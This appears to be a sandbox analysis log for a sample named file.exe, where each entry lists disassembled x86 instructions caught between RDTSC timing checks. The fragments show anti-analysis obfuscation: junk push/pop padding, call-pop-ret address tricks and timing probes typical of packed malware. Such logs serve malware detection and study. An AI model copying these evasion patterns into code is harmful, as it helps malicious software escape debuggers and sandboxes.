Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD1A8 second address: 11BD258 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b or dword ptr [ebp+122D2A7Ch], esi 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F3FAC75ECC8h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D19CCh], ebx 0x00000033 call 00007F3FAC75ECC9h 0x00000038 jmp 00007F3FAC75ECD0h 0x0000003d push eax 0x0000003e jl 00007F3FAC75ECD4h 0x00000044 push eax 0x00000045 jmp 00007F3FAC75ECCCh 0x0000004a pop eax 0x0000004b mov eax, dword ptr [esp+04h] 0x0000004f push eax 0x00000050 push edi 0x00000051 jmp 00007F3FAC75ECD4h 0x00000056 pop edi 0x00000057 pop eax 0x00000058 mov eax, dword ptr [eax] 0x0000005a jc 00007F3FAC75ECD8h 0x00000060 jc 00007F3FAC75ECD2h 0x00000066 jmp 00007F3FAC75ECCCh 0x0000006b mov dword ptr [esp+04h], eax 0x0000006f push eax 0x00000070 push edx 0x00000071 jl 00007F3FAC75ECC8h 0x00000077 push eax 0x00000078 pop eax 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD258 second address: 11BD25E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD25E second address: 11BD262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD262 second address: 11BD2CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 jmp 00007F3FACB96B2Bh 0x0000000e sbb si, 4D0Bh 0x00000013 push 00000003h 0x00000015 jmp 00007F3FACB96B34h 0x0000001a push 00000000h 0x0000001c call 00007F3FACB96B2Fh 0x00000021 jg 00007F3FACB96B28h 0x00000027 mov ch, 18h 0x00000029 pop esi 0x0000002a push 00000003h 0x0000002c xor dh, FFFFFFF3h 0x0000002f call 00007F3FACB96B29h 0x00000034 push ebx 0x00000035 push ebx 0x00000036 jmp 00007F3FACB96B2Bh 0x0000003b pop ebx 0x0000003c pop ebx 0x0000003d push eax 0x0000003e push esi 0x0000003f push ecx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD2CD second address: 11BD338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b jmp 00007F3FAC75ECD3h 0x00000010 jmp 00007F3FAC75ECD7h 0x00000015 popad 0x00000016 mov eax, dword ptr [eax] 0x00000018 pushad 0x00000019 jmp 00007F3FAC75ECD3h 0x0000001e jmp 00007F3FAC75ECD6h 0x00000023 popad 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 push ecx 0x00000029 push ebx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD338 second address: 11BD390 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 mov dword ptr [ebp+122D217Ch], ebx 0x0000000d lea ebx, dword ptr [ebp+1244F07Bh] 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F3FACB96B28h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d add cl, 00000029h 0x00000030 xchg eax, ebx 0x00000031 push eax 0x00000032 jmp 00007F3FACB96B37h 0x00000037 pop eax 0x00000038 push eax 0x00000039 push ecx 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD5B1 second address: 11BD5F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F3FAC75ECCFh 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jns 00007F3FAC75ECD2h 0x00000015 mov eax, dword ptr [eax] 0x00000017 pushad 0x00000018 jmp 00007F3FAC75ECCDh 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD5F0 second address: 11BD5F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD5F4 second address: 11BD60C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3FAC75ECC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 je 00007F3FAC75ECCCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DBDF3 second address: 11DBE29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACB96B2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F3FACB96B36h 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jno 00007F3FACB96B28h 0x00000017 pushad 0x00000018 push edi 0x00000019 pop edi 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DBFF6 second address: 11DBFFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DBFFC second address: 11DC00E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACB96B2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC814 second address: 11DC83B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 jmp 00007F3FAC75ECD5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pushad 0x00000013 popad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC9C8 second address: 11DCA12 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F3FACB96B2Bh 0x00000008 jg 00007F3FACB96B26h 0x0000000e pop edi 0x0000000f jnc 00007F3FACB96B33h 0x00000015 jmp 00007F3FACB96B2Dh 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pushad 0x0000001d jmp 00007F3FACB96B2Eh 0x00000022 jmp 00007F3FACB96B2Eh 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DCB84 second address: 11DCB8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DCB8A second address: 11DCB90 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DCE2E second address: 11DCE32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DCE32 second address: 11DCE38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DCE38 second address: 11DCE3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DCE3E second address: 11DCE52 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F3FACB96B26h 0x0000000e jp 00007F3FACB96B26h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DCE52 second address: 11DCE72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FAC75ECD6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DCE72 second address: 11DCE86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3FACB96B2Bh 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DCFEC second address: 11DD003 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FAC75ECD3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD003 second address: 11DD023 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACCA44BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop ebx 0x00000011 pushad 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD023 second address: 11DD02E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F3FAC813906h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD780 second address: 11DD7A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007F3FACCA44C7h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD7A3 second address: 11DD7A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD922 second address: 11DD941 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3FACCA44C5h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DDAA2 second address: 11DDAA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DDAA7 second address: 11DDAB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3FACCA44B6h 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DDC3F second address: 11DDC54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FAC813910h 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DDC54 second address: 11DDC5E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3FACCA44BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DDC5E second address: 11DDC66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DDC66 second address: 11DDC6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0A16 second address: 11E0A37 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F3FAC813916h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4486 second address: 11B448C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B448C second address: 11B4490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4490 second address: 11B4494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4494 second address: 11B449A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B449A second address: 11B44CE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3FACCA44C7h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3FACCA44C7h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B44CE second address: 11B44D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B44D2 second address: 11B4520 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACCA44C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jo 00007F3FACCA44CCh 0x00000012 jmp 00007F3FACCA44C6h 0x00000017 jmp 00007F3FACCA44C0h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4520 second address: 11B4526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E7FE4 second address: 11E7FF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACCA44BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8162 second address: 11E8166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E82FC second address: 11E830A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACCA44BAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E830A second address: 11E8315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8315 second address: 11E831B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ECBB0 second address: 11ECBB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ECBB6 second address: 11ECC05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACCA44BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 447795CAh 0x00000010 jp 00007F3FACCA44CFh 0x00000016 call 00007F3FACCA44B9h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F3FACCA44BBh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ECC05 second address: 11ECC0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F3FAC813906h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ECC0F second address: 11ECC21 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a je 00007F3FACCA44BCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ED0AB second address: 11ED0B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ED0B0 second address: 11ED0C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F3FACCA44B6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pushad 0x00000013 popad 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ED7DD second address: 11ED7E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ED8BF second address: 11ED8C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EDB1F second address: 11EDB29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F3FAC813906h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EDB29 second address: 11EDB3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F3FACCA44B6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EDCF3 second address: 11EDCF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EDD73 second address: 11EDD77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EDD77 second address: 11EDDAE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3FAC813906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F3FAC813908h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 push eax 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EDDAE second address: 11EDDB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE200 second address: 11EE206 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE206 second address: 11EE220 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F3FACCA44BEh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE220 second address: 11EE229 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE229 second address: 11EE2BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007F3FACCA44B8h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 00000014h 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 jc 00007F3FACCA44CBh 0x00000027 call 00007F3FACCA44BEh 0x0000002c mov esi, dword ptr [ebp+122D1AB1h] 0x00000032 pop edi 0x00000033 push 00000000h 0x00000035 push edx 0x00000036 pushad 0x00000037 mov dword ptr [ebp+122D29CFh], edi 0x0000003d and ebx, dword ptr [ebp+122D2C80h] 0x00000043 popad 0x00000044 pop edi 0x00000045 push 00000000h 0x00000047 push 00000000h 0x00000049 push esi 0x0000004a call 00007F3FACCA44B8h 0x0000004f pop esi 0x00000050 mov dword ptr [esp+04h], esi 0x00000054 add dword ptr [esp+04h], 0000001Bh 0x0000005c inc esi 0x0000005d push esi 0x0000005e ret 0x0000005f pop esi 0x00000060 ret 0x00000061 xchg eax, ebx 0x00000062 pushad 0x00000063 pushad 0x00000064 jmp 00007F3FACCA44C7h 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE2BA second address: 11EE2DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3FAC813919h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F090C second address: 11F0916 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3FACCA44B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F0916 second address: 11F0987 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3FAC813916h 0x00000008 jmp 00007F3FAC813910h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 mov si, 0A68h 0x00000014 and esi, 17F8A500h 0x0000001a push 00000000h 0x0000001c mov si, C176h 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push ebx 0x00000025 call 00007F3FAC813908h 0x0000002a pop ebx 0x0000002b mov dword ptr [esp+04h], ebx 0x0000002f add dword ptr [esp+04h], 00000017h 0x00000037 inc ebx 0x00000038 push ebx 0x00000039 ret 0x0000003a pop ebx 0x0000003b ret 0x0000003c and esi, 722E8BFBh 0x00000042 call 00007F3FAC813911h 0x00000047 mov edi, dword ptr [ebp+122D2CB4h] 0x0000004d pop esi 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F0987 second address: 11F098B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F098B second address: 11F098F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F098F second address: 11F0995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F0995 second address: 11F099F instructions: 0x00000000 rdtsc 0x00000002 je 00007F3FAC81390Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1507 second address: 11F1565 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3FACCA44B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b nop 0x0000000c mov si, 9463h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F3FACCA44B8h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000016h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ecx 0x00000031 call 00007F3FACCA44B8h 0x00000036 pop ecx 0x00000037 mov dword ptr [esp+04h], ecx 0x0000003b add dword ptr [esp+04h], 0000001Ch 0x00000043 inc ecx 0x00000044 push ecx 0x00000045 ret 0x00000046 pop ecx 0x00000047 ret 0x00000048 stc 0x00000049 xchg eax, ebx 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1565 second address: 11F1569 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1569 second address: 11F1580 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FACCA44C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1580 second address: 11F15BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FAC813914h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F3FAC81391Fh 0x00000012 rdtsc
